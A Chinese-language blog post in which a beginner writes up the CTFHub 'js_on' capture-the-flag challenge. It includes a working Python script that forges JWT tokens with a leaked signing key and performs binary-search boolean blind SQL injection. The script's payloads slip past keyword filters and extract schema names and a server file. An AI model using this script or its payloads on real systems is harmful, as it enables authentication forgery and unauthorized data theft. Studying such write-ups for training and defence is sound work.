CTF-CTFHub-js_on

2020.09.17

第一次做CTFHub,加油

做题

js_on

https://www.ctfhub.com/#/challenge

  1. 进去是一个登陆界面
  2. 测试了admin,竟然登上了xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6,这应该是什么编码
  3. 直接搜答案,哈哈哈,慢慢学
# coding=utf-8

import jwt
import requests
import re

requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6" # 求hash的key
url = "http://challenge-7a51cd870d5dad21.sandbox.ctfhub.com:10080" 
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"} # 代理,应该是用于burp拦截的

# 测试jwt是否好用的吧
# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])
# if info:
    # print(info)
 
# 用于猜数据库名
#payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#" 
# 用于猜所有数据库名
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#"
# 用于猜表名
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
# 用于猜列名
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
# 用于获取某文件内容,这里怎么知道这个文件的呢?
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"
# 获取指定数据库的表名,performance_schema()是什么东西??
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=performan<a>ce_schema()),{},1))>{}#"
 
# 重要方法,需要学习,二分法进行布尔盲注。
def half_interval():
    result = ""
    for i in range(1,50):
        min = 32
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2 
            payload = payloadTmpl.format(i,mid)
            jwttoken = {
                "user": payload,
                "news": "success"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
            #print(payload)
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies,proxies=proxies)
            if re.findall("success", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)
 
 
if __name__ == "__main__":
    half_interval()
    # payload = payloadTmpl.format(1,32)
    # jwttoken = {
    #     "user": payload,
    #     "news": "success"
    # }
    # print(jwttoken)
    # payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
    # print(payload)
    #cookies = dict(token=str(payload))
    #res = requests.get(url,cookies=cookies,proxies=proxies)
    #res.encoding='utf-8'
    #print(res.text)
  1. 登陆后的tokentoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OiB4UnQqWU1EcXlDQ3hZeGk5YUBMZ2NHcG5tTTJYOGkmNiJ9.dS9Hn6gwXUhuDIFgnibizPvV2o1uiNqRn5QVNjTCWYg
  2. 解密后的内容{"alg":"HS256","typ":"JWT"}{"user":"admin","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}u/GŸ¨0]Hn ž&âÌûÕڍnˆÚ‘Ÿ”64ÂYˆ`
  3. 根据这个,可以伪造token进行注入,做好笔记,时间到了,还真是紧张啊时间,看wp都看不明白就到时间了……
  4. jwt,JSON WEB TOKEN。就是一种cookie,存储用户信息。从上一步也能看出来是由三部分组成,jwt头+有效载荷payload+前两部分的签名。这个签名求法比较奇怪:HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret),官方有脚本可以处理,https://jwt.io/#debugger,这里的secret应该就是头一步给的key,哈哈哈,来分析一波大佬写的脚本和wp,我觉得关键还是注入掌握的不够扎实,有些地方想不起来。
  5. 这道题我觉得比较难的是,怎么发现是token注入,怎么发现的<a>这个能用来过滤的,还有就是这个猜的过程是怎么实现的,前两个比较灵活,后一个猜的过程相对比较固定。我觉得有必要专门总结一下sql注入的方法,最好每一个都找个例题,时间紧迫,开拔。
posted @ 2020-09-17 16:28  乔悟空  阅读(649)  评论(0编辑  收藏  举报